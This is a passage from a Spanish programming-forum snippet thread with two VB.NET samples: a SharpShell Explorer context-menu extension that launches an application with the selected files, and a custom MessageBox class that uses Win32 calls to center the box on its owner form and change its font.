  1. #Region " Option Statements "
  2.  
  3. Option Strict On
  4. Option Explicit On
  5. Option Infer Off
  6.  
  7. #End Region
  8.  
  9. #Region " Imports "
  10.  
  11. Imports SharpShell.Attributes
  12. Imports SharpShell.SharpContextMenu
  13. Imports System.IO
  14. Imports System.Runtime.InteropServices
  15. Imports System.Text
  16. Imports System.Windows.Forms
  17. Imports System.ComponentModel
  18.  
  19. #End Region
  20.  
  21. #Region " MyAppContextMenu "
  22.  
  23. ''' <summary>
  24. ''' The Application Context Menu Extension.
  25. ''' </summary>
  26. <ComVisible(True)>
  27. <COMServerAssociation(AssociationType.ClassOfExtension, ".ext")>
  28. Public Class MyAppContextMenu : Inherits SharpContextMenu
  29.  
  30. #Region " Objects "
  31.  
  32.    ''' <summary>
  33.    ''' Contains the application information.
  34.    ''' </summary>
  35.    Private ReadOnly application As New AppInfo With
  36.            {
  37.                .Title = "Menu Title",
  38.                .Filename = "Application Filename",
  39.                .Directory = My.Application.Info.DirectoryPath
  40.            }
  41.  
  42. #End Region
  43.  
  44. #Region " Types "
  45.  
  46.    ''' <summary>
  47.    ''' Contains information about an application.
  48.    ''' This class cannot be inherited.
  49.    ''' </summary>
  50.    Protected NotInheritable Class AppInfo
  51.  
  52.        ''' <summary>
  53.        ''' Gets or sets the application title.
  54.        ''' </summary>
  55.        ''' <value>The application title.</value>
  56.        Protected Friend Property Title As String
  57.  
  58.        ''' <summary>
  59.        ''' Gets or sets the application filename.
  60.        ''' </summary>
  61.        ''' <value>The application filename.</value>
  62.        Protected Friend Property Filename As String
  63.  
  64.        ''' <summary>
  65.        ''' Gets or sets the application working directory.
  66.        ''' </summary>
  67.        ''' <value>The application working directory.</value>
  68.        Protected Friend Property Directory As String
  69.  
  70.        ''' <summary>
  71.        ''' Gets the full qualified application path.
  72.        ''' </summary>
  73.        ''' <value>The full qualified application path.</value>
  74.        Protected Friend ReadOnly Property FullPath As String
  75.            Get
  76.                Return Path.Combine(Me.Directory, Me.Filename, ".exe")
  77.            End Get
  78.        End Property
  79.  
  80.    End Class
  81.  
  82. #End Region
  83.  
  84. #Region " SharpShell Methods "
  85.  
  86.    ''' <summary>
  87.    ''' Determines whether this instance can a shell context show menu, given the specified selected file list.
  88.    ''' </summary>
  89.    ''' <returns>
  90.    ''' <c>true</c> if this instance should show a shell context menu for the specified file list; otherwise, <c>false</c>.
  91.    ''' </returns>
  92.    Protected Overrides Function CanShowMenu() As Boolean
  93.  
  94.        Return True
  95.  
  96.    End Function
  97.  
  98.    ''' <summary>
  99.    ''' Creates the context menu.
  100.    ''' </summary>
  101.    ''' <returns>The context menu for the shell context menu.</returns>
  102.    Protected Overrides Function CreateMenu() As ContextMenuStrip
  103.  
  104.        ' Create the menu strip.
  105.        Dim menu As New ContextMenuStrip()
  106.  
  107.        ' Create the main item, this is used to show our application title.
  108.        Dim itemTitle As New ToolStripMenuItem() With
  109.            {
  110.                .Text = Me.application.Title,
  111.                .Image = My.Resources.TitleIcon
  112.            }
  113.  
  114.        ' Create a 'Run' item.
  115.        Dim itemRun As New ToolStripMenuItem() With
  116.            {
  117.                .Text = "Run",
  118.                .Image = My.Resources.RunIcon
  119.            }
  120.  
  121.        ' Create a 'Open file' item.
  122.        Dim itemOpenFile As New ToolStripMenuItem() With
  123.            {
  124.                .Text = "Open file...",
  125.                .Image = My.Resources.OpenFileIcon
  126.            }
  127.  
  128.        ' Create a 'Open files' item.
  129.        Dim itemOpenFiles As New ToolStripMenuItem() With
  130.            {
  131.                .Text = "Open files...",
  132.                .Image = My.Resources.OpenFileIcon
  133.            }
  134.  
  135.        ' Add the main item into the context menu.
  136.        menu.Items.Add(itemTitle)
  137.  
  138.        ' Add the 'Run' sub-item into the 'itemTitle' item.
  139.        itemTitle.DropDownItems.Add(itemRun)
  140.  
  141.        ' Add the 'Open file' or 'Open files' sub-item into the 'itemTitle' item.
  142.        ' Depending on the amount of selected files.
  143.        itemTitle.DropDownItems.Add(If(Me.SelectedItemPaths.Count = 1, itemOpenFile, itemOpenFiles))
  144.  
  145.        ' Suscribe to events.
  146.        AddHandler itemRun.Click, AddressOf ItemRun_Click
  147.        AddHandler itemOpenFile.Click, AddressOf ItemOpenFile_Click
  148.        AddHandler itemOpenFiles.Click, AddressOf ItemOpenFiles_Click
  149.  
  150.        ' Return the menu.
  151.        Return menu
  152.  
  153.    End Function
  154.  
  155. #End Region
  156.  
  157. #Region " Application Methods "
  158.  
  159.    ''' <summary>
  160.    ''' Runs the specified application.
  161.    ''' </summary>
  162.    ''' <param name="fileName">The name of an application file to run in the process.</param>
  163.    ''' <param name="arguments">Command-line arguments to pass when starting the process.</param>
  164.    Private Sub RunApp(ByVal fileName As String,
  165.                       Optional ByVal arguments As String = "")
  166.  
  167.        Try
  168.            Process.Start(fileName, arguments)
  169.  
  170.        Catch ex As FileNotFoundException
  171.            ' Do something.
  172.  
  173.        Catch ex As InvalidOperationException
  174.            ' Do something.
  175.  
  176.        Catch ex As Win32Exception
  177.            ' Dim errorCode As Integer = Marshal.GetLastWin32Error()
  178.            ' Do something.
  179.  
  180.        Catch ex As Exception
  181.            ' Do something.
  182.  
  183.        End Try
  184.  
  185.    End Sub
  186.  
  187.    ''' <summary>
  188.    ''' Opens the given file in the specified application.
  189.    ''' </summary>
  190.    ''' <param name="appPath">The application filepath to run.</param>
  191.    ''' <param name="filepath">The filepath to send to the application arguments.</param>
  192.    ''' <param name="stringFormat">The string format used to format the filepath.</param>
  193.    Private Sub OpenFile(ByVal appPath As String,
  194.                         ByVal filepath As String,
  195.                         Optional ByVal stringFormat As String = """{0}""")
  196.  
  197.        Me.RunApp(appPath, String.Format(stringFormat, filepath))
  198.  
  199.    End Sub
  200.  
  201.    ''' <summary>
  202.    ''' Opens the given files in the specified application.
  203.    ''' </summary>
  204.    ''' <param name="appPath">The application filepath to run.</param>
  205.    ''' <param name="filepaths">The filepaths to send to the application arguments.</param>
  206.    ''' <param name="stringFormat">The string format used to join the filepaths.</param>
  207.    Private Sub OpenFiles(ByVal appPath As String,
  208.                          ByVal filepaths As IEnumerable(Of String),
  209.                          Optional ByVal stringFormat As String = """{0}"" ")
  210.  
  211.        Me.RunApp(fileName:=appPath,
  212.                  arguments:=Me.JoinFilePaths(filepaths, stringFormat))
  213.  
  214.    End Sub
  215.  
  216.    ''' <summary>
  217.    ''' Joins the selected filepaths in a single line, filepaths are closed with double-quotes and separated by a space.
  218.    ''' eg: "File1" "File2" "File3"
  219.    ''' </summary>
  220.    ''' <param name="filepaths">The filepaths to join.</param>
  221.    ''' <param name="joinFormat">The string format used to join the filepaths.</param>
  222.    ''' <returns>The joined and formatted filepaths.</returns>
  223.    Private Function JoinFilePaths(ByVal filepaths As IEnumerable(Of String),
  224.                                   ByVal joinFormat As String) As String
  225.  
  226.        Dim sb As New StringBuilder()
  227.  
  228.        For Each filePath As String In filepaths
  229.            sb.Append(String.Format(joinFormat, filePath))
  230.        Next filePath
  231.  
  232.        Return sb.ToString
  233.  
  234.    End Function
  235.  
  236. #End Region
  237.  
  238. #Region " Event Handlers "
  239.  
  240.    ''' <summary>
  241.    ''' Handles the Click event of the ItemRun menu item.
  242.    ''' </summary>
  243.    ''' <param name="sender">The source of the event.</param>
  244.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  245.    Private Sub ItemRun_Click(ByVal sender As Object, ByVal e As EventArgs)
  246.  
  247.        Me.RunApp(fileName:=Me.application.FullPath)
  248.  
  249.    End Sub
  250.  
  251.    ''' <summary>
  252.    ''' Handles the Click event of the ItemOpenFile menu item.
  253.    ''' </summary>
  254.    ''' <param name="sender">The source of the event.</param>
  255.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  256.    Private Sub ItemOpenFile_Click(ByVal sender As Object, ByVal e As EventArgs)
  257.  
  258.        Me.OpenFile(appPath:=Me.application.FullPath,
  259.                    filepath:=Me.SelectedItemPaths.First)
  260.  
  261.    End Sub
  262.  
  263.    ''' <summary>
  264.    ''' Handles the Click event of the ItemOpenFiles menu item.
  265.    ''' </summary>
  266.    ''' <param name="sender">The source of the event.</param>
  267.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  268.    Private Sub ItemOpenFiles_Click(ByVal sender As Object, ByVal e As EventArgs)
  269.  
  270.        Me.OpenFiles(appPath:=Me.application.FullPath,
  271.                     filepaths:=Me.SelectedItemPaths)
  272.  
  273.    End Sub
  274.  
  275. #End Region
  276.  
  277. End Class
  278.  
  279. #End Region
  280.  



Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Noviembre 2014, 01:48 am
Una versión actualizada de mi MessageBox personalizado, cuyas funciones adicionales son la de aparecer centrado en el Form, o cambiar la fuente de texto (aunque dicha característica está algo improvisada)

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 27-November-2014
  4. ' ***********************************************************************
  5. ' <copyright file="CenteredMessageBox.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Using New CenteredMessageBox(ownerForm:=Me,
  13. '                             textFont:=New Font("Lucida Console", Font.SizeInPoints, FontStyle.Italic),
  14. '                             timeOut:=2500)
  15. '
  16. '    MessageBox.Show("Text", "Title", MessageBoxButtons.OK, MessageBoxIcon.Information)
  17. '
  18. 'End Using
  19.  
  20. #End Region
  21.  
  22. #Region " Option Statements "
  23.  
  24. Option Explicit On
  25. Option Strict On
  26. Option Infer Off
  27.  
  28. #End Region
  29.  
  30. #Region " Imports "
  31.  
  32. Imports System.Drawing
  33. Imports System.Runtime.InteropServices
  34. Imports System.Text
  35. Imports System.Windows.Forms
  36. Imports System.ComponentModel
  37.  
  38. #End Region
  39.  
  40. #Region " Centered MessageBox "
  41.  
  42. ''' <summary>
  43. ''' A customized <see cref="MessageBox"/>.
  44. ''' This class cannot be inherited.
  45. ''' </summary>
  46. Friend NotInheritable Class CenteredMessageBox : Implements IDisposable
  47.  
  48. #Region " Properties "
  49.  
  50.    ''' <summary>
  51.    ''' Gets the messagebox main window handle (hwnd).
  52.    ''' </summary>
  53.    ''' <value>The messagebox main window handle (hwnd).</value>
  54.    Friend ReadOnly Property MessageBoxWindowHandle As IntPtr
  55.        Get
  56.            Return Me.messageBoxWindowHandle1
  57.        End Get
  58.    End Property
  59.    ''' <summary>
  60.    ''' The messagebox main window handle (hwnd).
  61.    ''' </summary>
  62.    Private messageBoxWindowHandle1 As IntPtr
  63.  
  64.    ''' <summary>
  65.    ''' Gets the owner <see cref="Form"/> to center the <see cref="CenteredMessageBox"/>.
  66.    ''' </summary>
  67.    ''' <value>The owner <see cref="Form"/> to center the <see cref="CenteredMessageBox"/>.</value>
  68.    Friend ReadOnly Property OwnerForm As Form
  69.        Get
  70.            Return Me.ownerForm1
  71.        End Get
  72.    End Property
  73.    ''' <summary>
  74.    ''' The owner <see cref="Form"/> to center the <see cref="CenteredMessageBox"/>
  75.    ''' </summary>
  76.    Private ownerForm1 As Form
  77.  
  78.    ''' <summary>
  79.    ''' Gets the <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.
  80.    ''' </summary>
  81.    ''' <value>The <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.</value>
  82.    Friend ReadOnly Property Font As Font
  83.        Get
  84.            Return Me.font1
  85.        End Get
  86.    End Property
  87.    ''' <summary>
  88.    ''' The <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.
  89.    ''' </summary>
  90.    Private ReadOnly font1 As Font
  91.  
  92.    ''' <summary>
  93.    ''' Gets the time interval to auto-close this <see cref="CenteredMessageBox"/>, in milliseconds.
  94.    ''' Default value is '0', which means Infinite.
  95.    ''' </summary>
  96.    Friend ReadOnly Property TimeOut As Integer
  97.        Get
  98.            Return Me.timeOut1
  99.        End Get
  100.    End Property
  101.    ''' <summary>
  102.    ''' The time interval to auto-close this <see cref="CenteredMessageBox"/>, in milliseconds.
  103.    ''' Default value is '0', which means Infinite.
  104.    ''' </summary>
  105.    Private ReadOnly timeOut1 As Integer = 0
  106.  
  107. #End Region
  108.  
  109. #Region " Objects "
  110.  
  111.    ''' <summary>
  112.    ''' A <see cref="Windows.Forms.Timer"/> that keeps track of <see cref="TimeOut"/> value to close this <see cref="CenteredMessageBox"/>.
  113.    ''' </summary>
  114.    Private WithEvents timeoutTimer As Timer
  115.  
  116.    ''' <summary>
  117.    ''' Keeps track of the current amount of tries to find this <see cref="CenteredMessageBox"/> dialog.
  118.    ''' </summary>
  119.    Private tries As Integer
  120.  
  121. #End Region
  122.  
  123. #Region " P/Invoke "
  124.  
  125.    ''' <summary>
  126.    ''' Platform Invocation methods (P/Invoke), access unmanaged code.
  127.    ''' This class does not suppress stack walks for unmanaged code permission.
  128.    ''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/>  must not be applied to this class.
  129.    ''' This class is for methods that can be used anywhere because a stack walk will be performed.
  130.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/ms182161.aspx
  131.    ''' </summary>
  132.    Protected NotInheritable Class NativeMethods
  133.  
  134. #Region " Functions "
  135.  
  136.        ''' <summary>
  137.        ''' Retrieves the thread identifier of the calling thread.
  138.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms683183%28v=vs.85%29.aspx
  139.        ''' </summary>
  140.        ''' <returns>The thread identifier of the calling thread.</returns>
  141.        <DllImport("kernel32.dll", SetLastError:=False)>
  142.        Protected Friend Shared Function GetCurrentThreadId() As Integer
  143.        End Function
  144.  
  145.        ''' <summary>
  146.        ''' Enumerates all nonchild windows associated with a thread by passing the handle to each window,
  147.        ''' in turn, to an application-defined callback function.
  148.        ''' <see cref="EnumThreadWindows"/> continues until the last window is enumerated or the callback function returns <c>false</c>.
  149.        ''' To enumerate child windows of a particular window, use the EnumChildWindows function.
  150.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633495%28v=vs.85%29.aspx
  151.        ''' </summary>
  152.        ''' <param name="dwThreadId">The identifier of the thread whose windows are to be enumerated.</param>
  153.        ''' <param name="lpfn">A pointer to an application-defined callback function.</param>
  154.        ''' <param name="lParam">An application-defined value to be passed to the callback function.</param>
  155.        ''' <returns>
  156.        ''' <c>true</c> if the callback function returns <c>true</c> for all windows in the thread specified by dwThreadId parameter.
  157.        ''' <c>false</c> if the callback function returns <c>false</c> on any enumerated window,
  158.        ''' or if there are no windows found in the thread specified by dwThreadId parameter.</returns>
  159.        <DllImport("user32.dll", SetLastError:=False)>
  160.        Protected Friend Shared Function EnumThreadWindows(
  161.                      ByVal dwThreadId As Integer,
  162.                      ByVal lpfn As NativeMethods.EnumThreadWndProc,
  163.                      ByVal lParam As IntPtr
  164.            ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  165.        End Function
  166.  
  167.        ''' <summary>
  168.        ''' Retrieves the name of the class to which the specified window belongs.
  169.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633582%28v=vs.85%29.aspx
  170.        ''' </summary>
  171.        ''' <param name="hWnd">A handle to the window and, indirectly, the class to which the window belongs.</param>
  172.        ''' <param name="buffer">The class name string.</param>
  173.        ''' <param name="buflen">
  174.        ''' The length of the lpClassName buffer, in characters.
  175.        ''' The buffer must be large enough to include the terminating null character;
  176.        ''' otherwise, the class name string is truncated to nMaxCount-1 characters.
  177.        ''' </param>
  178.        ''' <returns>
  179.        ''' If the function succeeds, the return value is the number of characters copied to the buffer,
  180.        ''' not including the terminating null character.
  181.        ''' If the function fails, the return value is 0.
  182.        ''' </returns>
  183.        <DllImport("user32.dll", SetLastError:=False, CharSet:=CharSet.Auto)>
  184.        Protected Friend Shared Function GetClassName(
  185.                      ByVal hWnd As IntPtr,
  186.                      ByVal buffer As StringBuilder,
  187.                      ByVal buflen As Integer
  188.            ) As Integer
  189.        End Function
  190.  
  191.        ''' <summary>
  192.        ''' Retrieves a handle to a control in the specified dialog box.
  193.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms645481%28v=vs.85%29.aspx
  194.        ''' </summary>
  195.        ''' <param name="hWnd">A handle to the dialog box that contains the control.</param>
  196.        ''' <param name="item">The identifier of the control to be retrieved.</param>
  197.        ''' <returns>
  198.        ''' If the function succeeds, the return value is the window handle of the specified control.
  199.        ''' If the function fails, the return value is <see cref="IntPtr.Zero"/>,
  200.        ''' indicating an invalid dialog box handle or a nonexistent control
  201.        ''' </returns>
  202.        <DllImport("user32.dll", SetLastError:=False)>
  203.        Protected Friend Shared Function GetDlgItem(
  204.                      ByVal hWnd As IntPtr,
  205.                      ByVal item As Integer
  206.            ) As IntPtr
  207.        End Function
  208.  
  209.        ''' <summary>
  210.        ''' Retrieves the dimensions of the bounding rectangle of the specified window.
  211.        ''' The dimensions are given in screen coordinates that are relative to the upper-left corner of the screen.
  212.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633519%28v=vs.85%29.aspx
  213.        ''' </summary>
  214.        ''' <param name="hWnd">A handle to the window.</param>
  215.        ''' <param name="rc">
  216.        ''' A pointer to a <see cref="RECT"/> structure that receives the screen coordinates of
  217.        ''' the upper-left and lower-right corners of the window.
  218.        ''' </param>
  219.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  220.        <DllImport("user32.dll", SetLastError:=False)>
  221.        Protected Friend Shared Function GetWindowRect(
  222.                      ByVal hWnd As IntPtr,
  223.                      ByRef rc As Rect
  224.            ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  225.        End Function
  226.  
  227.        ''' <summary>
  228.        ''' Destroys the specified window.
  229.        ''' The function sends WM_DESTROY and WM_NCDESTROY messages to the window to deactivate it and remove the keyboard focus from it.
  230.        ''' The function also destroys the window's menu, flushes the thread message queue, destroys timers, removes clipboard ownership,
  231.        ''' and breaks the clipboard viewer chain (if the window is at the top of the viewer chain).
  232.        ''' If the specified window is a parent or owner window,
  233.        ''' DestroyWindow automatically destroys the associated child or owned windows when it destroys the parent or owner window.
  234.        ''' The function first destroys child or owned windows, and then it destroys the parent or owner window.
  235.        ''' DestroyWindow also destroys modeless dialog boxes created by the CreateDialog function.
  236.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632682%28v=vs.85%29.aspx
  237.        ''' </summary>
  238.        ''' <param name="hwnd">Handle to the window to be destroyed.</param>
  239.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  240.        <DllImport("user32.dll", SetLastError:=False)>
  241.        Protected Friend Shared Function DestroyWindow(
  242.                      ByVal hwnd As IntPtr
  243.            ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  244.        End Function
  245.  
  246.        ''' <summary>
  247.        ''' Changes the position and dimensions of the specified window.
  248.        ''' For a top-level window, the position and dimensions are relative to the upper-left corner of the screen.
  249.        ''' For a child window, they are relative to the upper-left corner of the parent window's client area.
  250.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633534%28v=vs.85%29.aspx
  251.        ''' </summary>
  252.        ''' <param name="hWnd">A handle to the window.</param>
  253.        ''' <param name="x">The new position of the left side of the window.</param>
  254.        ''' <param name="y">The new position of the top of the window.</param>
  255.        ''' <param name="width">The new width of the window.</param>
  256.        ''' <param name="height">The new height of the window.</param>
  257.        ''' <param name="repaint">
  258.        ''' Indicates whether the window is to be repainted.
  259.        ''' If this parameter is TRUE, the window receives a message.
  260.        ''' If the parameter is FALSE, no repainting of any kind occurs.
  261.        ''' This applies to the client area, the nonclient area (including the title bar and scroll bars),
  262.        ''' and any part of the parent window uncovered as a result of moving a child window.
  263.        ''' </param>
  264.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  265.        <DllImport("user32.dll", SetLastError:=False)>
  266.        Protected Friend Shared Function MoveWindow(
  267.                      ByVal hWnd As IntPtr,
  268.                      ByVal x As Integer,
  269.                      ByVal y As Integer,
  270.                      ByVal width As Integer,
  271.                      ByVal height As Integer,
  272.                      ByVal repaint As Boolean
  273.            ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  274.        End Function
  275.  
  276.        ''' <summary>
  277.        ''' Changes the size, position, and Z order of a child, pop-up, or top-level window.
  278.        ''' These windows are ordered according to their appearance on the screen.
  279.        ''' The topmost window receives the highest rank and is the first window in the Z order.
  280.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
  281.        ''' </summary>
  282.        ''' <param name="hWnd">A handle to the window.</param>
  283.        ''' <param name="hWndInsertAfter">A handle to the window to precede the positioned window in the Z order.</param>
  284.        ''' <param name="x">The new position of the left side of the window, in client coordinates.</param>
  285.        ''' <param name="y">The new position of the top of the window, in client coordinates.</param>
  286.        ''' <param name="cx">The new width of the window, in pixels.</param>
  287.        ''' <param name="cy">The new height of the window, in pixels.</param>
  288.        ''' <param name="uFlags">The window sizing and positioning flags.</param>
  289.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  290.        <DllImport("user32.dll", SetLastError:=True)> _
  291.        Protected Friend Shared Function SetWindowPos(
  292.                      ByVal hWnd As IntPtr,
  293.                      ByVal hWndInsertAfter As IntPtr,
  294.                      ByVal x As Integer,
  295.                      ByVal y As Integer,
  296.                      ByVal cx As Integer,
  297.                      ByVal cy As Integer,
  298.                      ByVal uFlags As SetWindowPosFlags
  299.            ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  300.        End Function
  301.  
  302.        ''' <summary>
  303.        ''' Sends the specified message to a window or windows.
  304.        ''' The <see cref="SendMessage"/> function calls the window procedure for the specified window and
  305.        ''' does not return until the window procedure has processed the message.
  306.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644950%28v=vs.85%29.aspx
  307.        ''' </summary>
  308.        ''' <param name="hWnd">A handle to the window whose window procedure will receive the message.</param>
  309.        ''' <param name="msg">The windows message to be sent.</param>
  310.        ''' <param name="wParam">Additional message-specific information.</param>
  311.        ''' <param name="lParam">Additional message-specific information.</param>
  312.        ''' <returns>The result of the message processing; it depends on the message sent.</returns>
  313.        <DllImport("user32.dll", SetLastError:=False)>
  314.        Protected Friend Shared Function SendMessage(
  315.                      ByVal hWnd As IntPtr,
  316.                      ByVal msg As WindowsMessages,
  317.                      ByVal wParam As IntPtr,
  318.                      ByVal lParam As IntPtr
  319.            ) As IntPtr
  320.        End Function
  321.  
  322. #End Region
  323.  
  324. #Region " Callbacks "
  325.  
  326.        ''' <summary>
  327.        ''' An application-defined callback function used with the <see cref="EnumThreadWindows"/> function.
  328.        ''' It receives the window handles associated with a thread.
  329.        ''' The WNDENUMPROC type defines a pointer to this callback function.
  330.        ''' <see cref="EnumThreadWndProc"/> is a placeholder for the application-defined function name
  331.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633496%28v=vs.85%29.aspx
  332.        ''' </summary>
  333.        ''' <param name="hWnd">A handle to a window associated with the thread specified in the <see cref="EnumThreadWindows"/> function.</param>
  334.        ''' <param name="lParam">The application-defined value given in the <see cref="EnumThreadWindows"/> function.</param>
  335.        ''' <returns>
  336.        ''' To continue enumeration, the callback function must return <c>true</c>;
  337.        ''' To stop enumeration, it must return <c>false</c>.
  338.        ''' </returns>
  339.        Protected Friend Delegate Function EnumThreadWndProc(
  340.                  ByVal hWnd As IntPtr,
  341.                  ByVal lParam As IntPtr
  342.        ) As Boolean
  343.  
  344. #End Region
  345.  
  346. #Region " Enumerations "
  347.  
  348.        ''' <summary>
  349.        ''' Specifies a System-Defined Message.
  350.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644927%28v=vs.85%29.aspx#system_defined
  351.        ''' </summary>
  352.        <Description("Enum used for 'SendMessage' function.")>
  353.        Protected Friend Enum WindowsMessages As Integer
  354.  
  355.            ' **************************************
  356.            ' NOTE:
  357.            ' This enumeration is partially defined.
  358.            ' **************************************
  359.  
  360.            ''' <summary>
  361.            ''' Sets the font that a control is to use when drawing text.
  362.            ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632642%28v=vs.85%29.aspx
  363.            ''' </summary>
  364.            WM_SETFONT = &H30
  365.  
  366.            ''' <summary>
  367.            ''' Retrieves the font with which the control is currently drawing its text.
  368.            ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632624%28v=vs.85%29.aspx
  369.            ''' </summary>
  370.            WM_GETFONT = &H31
  371.  
  372.        End Enum
  373.  
  374.        ''' <summary>
  375.        ''' Specifies the window sizing and positioning flags.
  376.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
  377.        ''' </summary>
  378.        <FlagsAttribute>
  379.        <Description("Enum used for 'SetWindowPos' function.")>
  380.        Protected Friend Enum SetWindowPosFlags As UInteger
  381.  
  382.            ' **************************************
  383.            ' NOTE:
  384.            ' This enumeration is partially defined.
  385.            ' **************************************
  386.  
  387.            ''' <summary>
  388.            ''' Indicates any flag.
  389.            ''' </summary>
  390.            None = &H0UI
  391.  
  392.        End Enum
  393.  
  394. #End Region
  395.  
  396. #Region " Structures "
  397.  
  398.        ''' <summary>
  399.        ''' Defines the coordinates of the upper-left and lower-right corners of a rectangle.
  400.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/dd162897%28v=vs.85%29.aspx
  401.        ''' </summary>
  402.        <Description("Structure used for 'GetWindowRect' function.")>
  403.        Protected Friend Structure Rect
  404.  
  405.            ''' <summary>
  406.            ''' The x-coordinate of the upper-left corner of the rectangle.
  407.            ''' </summary>
  408.            Friend Left As Integer
  409.  
  410.            ''' <summary>
  411.            ''' The y-coordinate of the upper-left corner of the rectangle.
  412.            ''' </summary>
  413.            Friend Top As Integer
  414.  
  415.            ''' <summary>
  416.            ''' The x-coordinate of the lower-right corner of the rectangle.
  417.            ''' </summary>
  418.            Friend Right As Integer
  419.  
  420.            ''' <summary>
  421.            ''' The y-coordinate of the lower-right corner of the rectangle.
  422.            ''' </summary>
  423.            Friend Bottom As Integer
  424.  
  425.        End Structure
  426.  
  427. #End Region
  428.  
  429.    End Class
  430.  
  431. #End Region
  432.  
  433. #Region " Constructors "
  434.  
  435.    ''' <summary>
  436.    ''' Initializes a new instance of the <see cref="CenteredMessageBox"/> class.
  437.    ''' </summary>
  438.    ''' <param name="ownerForm">The form that owns this <see cref="CenteredMessageBox"/>.</param>
  439.    ''' <param name="TextFont">The <see cref="Font"/> used to display the text of this <see cref="CenteredMessageBox"/>.</param>
  440.    ''' <param name="TimeOut">
  441.    ''' The time interval to auto-close this <see cref="CenteredMessageBox"/>, in milliseconds;
  442.    ''' Default value is '0', which means Infinite.
  443.    ''' </param>
  444.    Public Sub New(ByVal ownerForm As Form,
  445.                   Optional textFont As Font = Nothing,
  446.                   Optional timeOut As Integer = 0I)
  447.  
  448.        Me.ownerForm1 = ownerForm
  449.        Me.font1 = textFont
  450.        Me.timeOut1 = timeOut
  451.        Me.ownerForm1.BeginInvoke(New MethodInvoker(AddressOf Me.FindDialog))
  452.  
  453.    End Sub
  454.  
  455.    ''' <summary>
  456.    ''' Prevents a default instance of the <see cref="CenteredMessageBox"/> class from being created.
  457.    ''' </summary>
  458.    Private Sub New()
  459.    End Sub
  460.  
  461. #End Region
  462.  
  463. #Region " Private Methods "
  464.  
  465.    ''' <summary>
  466.    ''' Finds the <see cref="CenteredMessageBox"/> dialog window.
  467.    ''' </summary>
  468.    Private Sub FindDialog()
  469.  
  470.        ' Enumerate windows to find the message box
  471.        If Me.tries < 0 Then
  472.            Return
  473.        End If
  474.  
  475.        Dim callback As New NativeMethods.EnumThreadWndProc(AddressOf Me.CheckWindow)
  476.  
  477.        If NativeMethods.EnumThreadWindows(NativeMethods.GetCurrentThreadId(), callback, IntPtr.Zero) Then
  478.  
  479.            If Threading.Interlocked.Increment(Me.tries) < 10 Then
  480.                Me.ownerForm1.BeginInvoke(New MethodInvoker(AddressOf Me.FindDialog))
  481.            End If
  482.  
  483.        End If
  484.  
  485.        If Me.timeOut1 > 0 Then
  486.  
  487.            Me.timeoutTimer = New Timer With
  488.                              {
  489.                                  .Interval = Me.timeOut1,
  490.                                  .Enabled = True
  491.                              }
  492.  
  493.            Me.timeoutTimer.Start()
  494.  
  495.        End If
  496.  
  497.    End Sub
  498.  
  499.    ''' <summary>
  500.    ''' Checks whether the specified window is our <see cref="CenteredMessageBox"/> dialog.
  501.    ''' </summary>
  502.    ''' <param name="hWnd">A handle to the window to check.</param>
  503.    ''' <param name="lParam">The application-defined value given in the <see cref="NativeMethods.EnumThreadWindows"/> function.</param>
  504.    ''' <returns>
  505.    ''' <c>true</c> the specified window is our <see cref="CenteredMessageBox"/> dialog, <c>false</c> otherwise.
  506.    ''' </returns>
  507.    Private Function CheckWindow(ByVal hWnd As IntPtr,
  508.                                 ByVal lParam As IntPtr) As Boolean
  509.  
  510.        ' Checks if <hWnd> is a dialog
  511.        Dim sb As New StringBuilder(260)
  512.        NativeMethods.GetClassName(hWnd, sb, sb.Capacity)
  513.        If sb.ToString() <> "#32770" Then
  514.            Return True
  515.        End If
  516.  
  517.        ' Get the control that displays the text.
  518.        Dim hText As IntPtr = NativeMethods.GetDlgItem(hWnd, &HFFFFI)
  519.        Me.messageBoxWindowHandle1 = hWnd
  520.  
  521.        ' Get the dialog Rect.
  522.        Dim frmRect As New Rectangle(Me.ownerForm1.Location, Me.ownerForm1.Size)
  523.        Dim dlgRect As NativeMethods.Rect
